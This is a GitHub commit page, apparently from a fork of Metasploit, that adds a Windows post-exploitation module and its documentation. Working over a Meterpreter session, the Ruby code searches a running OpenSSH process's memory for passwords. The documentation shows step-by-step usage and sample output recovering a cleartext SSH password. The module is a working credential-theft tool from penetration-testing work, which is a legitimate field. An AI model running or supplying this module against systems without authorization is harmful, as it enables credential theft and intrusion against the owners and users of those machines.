forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add OpenSSH password search module for Windows
- Loading branch information
1 parent
ce21e84
commit d40dc8b
Showing
2 changed files
with
199 additions
and
0 deletions.
There are no files selected for viewing
65 changes: 65 additions & 0 deletions
65
documentation/modules/post/windows/gather/openssh_password_search.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,65 @@ | ||
## Vulnerable Application | ||
|
||
This module allows for searching the memory space of running OpenSSH processes on Windows | ||
for potentially sensitive data such as passwords. | ||
|
||
## Verification Steps | ||
|
||
1. Start `msfconsole` | ||
2. Get a Meterpreter session | ||
3. Do: `use post/windows/gather/openssh_password_search` | ||
4. Do: `set SESSION <Session ID>` | ||
5. Do: `set PID <Process ID>` | ||
6. Do: `run` | ||
|
||
## Options | ||
|
||
### PID | ||
|
||
The process ID of the OpenSSH target process. (default: `nil`) | ||
|
||
### REGEX | ||
|
||
The regular expression to search for in process memory. (default: `publickey,password.*`) | ||
|
||
### MIN_MATCH_LEN | ||
|
||
The minimum match length. (default: `5`) | ||
|
||
### MAX_MATCH_LEN | ||
|
||
The maximum match length. (default: `127`) | ||
|
||
### REPLACE_NON_PRINTABLE_BYTES | ||
|
||
Replace non-printable bytes with `.` when outputting the results. (default: `true`) | ||
|
||
|
||
## Scenarios | ||
|
||
### Windows 10 - OpenSSH_9.4p1, OpenSSL 3.1.2 1 Aug 2023 | ||
In this scenario, the Windows target is connected to a different host using `ssh.exe` using the password `myverysecretpassword`. | ||
``` | ||
msf6 post(windows/gather/openssh_password_search) > sessions | ||
Active sessions | ||
=============== | ||
Id Name Type Information Connection | ||
-- ---- ---- ----------- ---------- | ||
1 meterpreter x64/windows DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB 192.168.112.1:4444 -> 192.168.112.129:59376 (192.168.112.129) | ||
msf6 post(windows/gather/openssh_password_search) > run pid=8780 session=-1 | ||
[*] Running module against - DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB (192.168.112.129). This might take a few seconds... | ||
[*] Memory Matches for OpenSSH | ||
========================== | ||
Match Address Match Length Match Buffer Memory Region Start Memory Region Size | ||
------------- ------------ ------------ ------------------- ------------------ | ||
0x0000000A00060EE0 127 "publickey,password......3.......myverysecretpassword....................#.........#.....................#...... 0x0000000A00000000 0x0000000000090000 | ||
.client-session." | ||
[*] Post module execution completed | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,134 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Post | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Windows OpenSSH Password Search', | ||
'Description' => %q{ | ||
This module allows for searching the memory space of running OpenSSH processes on Windows | ||
for potentially sensitive data such as passwords. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => ['sjanusz-r7'], | ||
'Platform' => ['win'], | ||
'SessionTypes' => ['meterpreter'], | ||
'Compat' => { | ||
'Meterpreter' => { | ||
'Commands' => %w[ | ||
stdapi_sys_process_memory_search | ||
] | ||
} | ||
}, | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [], | ||
'SideEffects' => [] | ||
} | ||
) | ||
) | ||
register_options([ | ||
OptInt.new('PID', [true, 'Process ID of OpenSSH to search through', nil]), | ||
OptRegexp.new('REGEX', [true, 'Regular expression to search for with in memory', 'publickey,password.*']), | ||
OptInt.new('MIN_MATCH_LEN', [true, 'The minimum number of bytes to match', 5]), | ||
OptInt.new('MAX_MATCH_LEN', [true, 'The maximum number of bytes to match', 127]), | ||
OptBool.new('REPLACE_NON_PRINTABLE_BYTES', [true, 'Replace non-printable bytes with "."', true]) | ||
]) | ||
end | ||
|
||
def pid | ||
datastore['PID'] | ||
end | ||
|
||
def regex | ||
datastore['REGEX'] | ||
end | ||
|
||
def min_match_len | ||
datastore['MIN_MATCH_LEN'] | ||
end | ||
|
||
def max_match_len | ||
datastore['MAX_MATCH_LEN'] | ||
end | ||
|
||
def replace_non_printable_bytes | ||
datastore['REPLACE_NON_PRINTABLE_BYTES'] | ||
end | ||
|
||
def mem_search(pid, needles, min_search_len, match_len) | ||
request = ::Rex::Post::Meterpreter::Packet.create_request(::Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_SEARCH) | ||
|
||
request.add_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_PID, pid) | ||
|
||
needles = [needles] unless needles.instance_of? ::Array | ||
|
||
needles.each { |needle| request.add_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_NEEDLE, needle) } | ||
request.add_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_LEN, match_len) | ||
request.add_tlv(::Rex::Post::Meterpreter::TLV_TYPE_UINT, min_search_len) | ||
|
||
session.send_request(request) | ||
end | ||
|
||
def non_printable?(byte) | ||
byte < 0x21 || byte > 0x7E | ||
end | ||
|
||
def print_results(results: []) | ||
if results.empty? | ||
print_status 'No regular expression matches were found in memory' | ||
return | ||
end | ||
|
||
results_table = ::Rex::Text::Table.new( | ||
'Header' => 'Memory Matches for OpenSSH', | ||
'Indent' => 1, | ||
'Columns' => ['Match Address', 'Match Length', 'Match Buffer', 'Memory Region Start', 'Memory Region Size'] | ||
) | ||
|
||
x64_architectures = [ | ||
ARCH_X64, | ||
ARCH_AARCH64 | ||
] | ||
address_length = x64_architectures.include?(session.native_arch) ? 16 : 8 | ||
|
||
results.each do |result| | ||
match_address = result.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_ADDR).value.to_s(16).upcase || 0 | ||
match_length = result.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_LEN).value || 0 | ||
match_buffer = result.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_STR).value || '' | ||
region_start_address = result.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_START_ADDR).value.to_s(16).upcase || 0 | ||
region_start_size = result.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_SECT_LEN).value.to_s(16).upcase || 0 | ||
|
||
if replace_non_printable_bytes | ||
match_buffer = match_buffer.bytes.map { |byte| non_printable?(byte) ? '.' : byte.chr }.join | ||
end | ||
|
||
results_table << [ | ||
"0x#{match_address.rjust(address_length, '0')}", | ||
match_length, | ||
match_buffer.inspect, | ||
"0x#{region_start_address.rjust(address_length, '0')}", | ||
"0x#{region_start_size.rjust(address_length, '0')}" | ||
] | ||
end | ||
|
||
print_status results_table.to_s | ||
end | ||
|
||
def run | ||
if session.type != 'meterpreter' | ||
print_error 'Only Meterpreter sessions are supported by this post module' | ||
return | ||
end | ||
|
||
print_status("Running module against - #{session.info} (#{session.session_host}). This might take a few seconds...") | ||
results = mem_search(pid, regex.source, min_match_len, max_match_len) | ||
group_tlv_results = results.get_tlvs(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_RESULTS) | ||
print_results(results: group_tlv_results) | ||
end | ||
end |